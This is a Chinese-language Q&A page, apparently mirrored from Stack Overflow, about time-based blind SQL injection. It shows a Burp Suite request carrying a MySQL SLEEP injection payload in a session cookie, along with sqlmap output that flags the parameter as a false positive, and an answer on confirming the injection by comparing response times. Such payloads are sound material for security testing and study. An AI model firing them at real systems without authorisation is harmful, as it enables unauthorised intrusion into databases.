【问题标题】:Time based blind SQL Injection基于时间的盲注 SQL 注入
【发布时间】:2021-08-16 07:12:04
【问题描述】:

通过 Burp Suite 中继器中的以下请求,我注意到我能够在目标服务器上执行 SLEEP 查询。

POST /login HTTP/1.1
Host: example.com
Origin: https://example.com
Cookie: _sessionToken=filzxrpoiahflw_1618561576'%2b(select*from(select(sleep(20)))a)%2b'
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Content-Length: 39

username=admins0&password=m02pih57d

但是,当我使用 SQLmap 测试端点时,它说这是误报。

[xx:xx:42] [INFO] Cookie parameter '_sessionToken' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (2) value? [Y/n] Y
[xx:xx:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[xx:xx:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[xx:xx:01] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[xx:xx:06] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[xx:xx:09] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[xx:xx:13] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[xx:xx:19] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[xx:xx:23] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[xx:xx:27] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[xx:xx:31] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[xx:xx:35] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[xx:xx:39] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[xx:xx:43] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[xx:xx:48] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[xx:xx:52] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[xx:xx:12] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[xx:xx:16] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[xx:xx:19] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[xx:xx:23] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[xx:xx:27] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[xx:xx:31] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[xx:xx:35] [INFO] checking if the injection point on Cookie parameter '_sessionToken' is a false positive
[xx:xx:40] [WARNING] false positive or unexploitable injection point detected
[xx:xx:40] [WARNING] Cookie parameter '_sessionToken' does not seem to be injectable

我想知道攻击者是否有可能执行SLEEP 查询而不注入端点(并且通过扩展无法转储数据)?如果是,如何(服务器代码是什么样的)?

【问题讨论】:

    标签: mysql sql-injection


    【解决方案1】:

    如果可以通过repeater执行,那么就不是误报了。

    监控响应时间增加时间,如下图。

    睡眠(2)

    睡眠(20)

    如果你得到这样的响应,那么攻击者可以用同样的方式执行睡眠查询。

    【讨论】:

    • 我已经尝试过了,它可以工作。问题中查询的响应时间确实需要超过 20 秒,但是 sqlmap 说这是误报。我想知道为什么!
    • 我明白了。 SQLmap 可能由于某些防火墙或触发的大量有效负载而错过了它。但是,如果这解决了您的问题,请不要担心。
    猜你喜欢
    • 2020-08-25
    • 2019-05-03
    • 1970-01-01
    • 1970-01-01
    • 2013-09-08
    • 1970-01-01
    • 1970-01-01
    • 2015-04-17
    • 1970-01-01
    相关资源
    最近更新 更多